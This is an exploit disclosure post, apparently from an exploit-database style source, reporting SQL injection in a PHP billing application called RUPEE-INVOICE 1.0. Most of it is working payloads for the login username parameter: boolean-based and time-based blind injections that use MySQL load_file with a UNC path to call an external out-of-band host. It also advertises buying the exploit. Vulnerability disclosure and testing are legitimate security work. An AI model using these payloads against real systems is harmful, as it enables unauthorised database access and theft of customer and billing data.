# Titles: RUPEE-INVOICE-1.0-Multiple-SQLi # Author: nu11secur1ty # Date: 09/09/2025 # Vendor: https://www.mayurik.com/ # Software: https://www.sourcecodester.com/download-code?nid=14831&title=Billing+System+Project+in+PHP+Source+Code+Free+Download # Reference: https://portswigger.net/web-security/sql-injection ## Description: The `username` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ jj6w9rad6kc8twwcn1qlthm4cvio6f9306oybozd.oastify.com\\htc'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. STATUS: HIGH-CRITICAL Vulnerability [+]Payload: - SQLi: ```SQLi --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=hPpqTCiq'+(select load_file('\\\\ jj6w9rad6kc8twwcn1qlthm4cvio6f9306oybozd.oastify.com\\htc'))+'' OR NOT 5577=5577 AND 'YwXM'='YwXM&password=i8Z!y4e!U3&login= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=hPpqTCiq'+(select load_file('\\\\ jj6w9rad6kc8twwcn1qlthm4cvio6f9306oybozd.oastify.com\\htc'))+'' AND (SELECT 2676 FROM (SELECT(SLEEP(11)))lelL) AND 'AykD'='AykD&password=i8Z!y4e!U3&login= --- ``` # Reproduce: [href](https://www.patreon.com/posts/rupee-invoice-1-138493095) # Buy an exploit only: [href](https://www.patreon.com/posts/rupee-invoice-1-138493095) # Time spent: 01:15:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty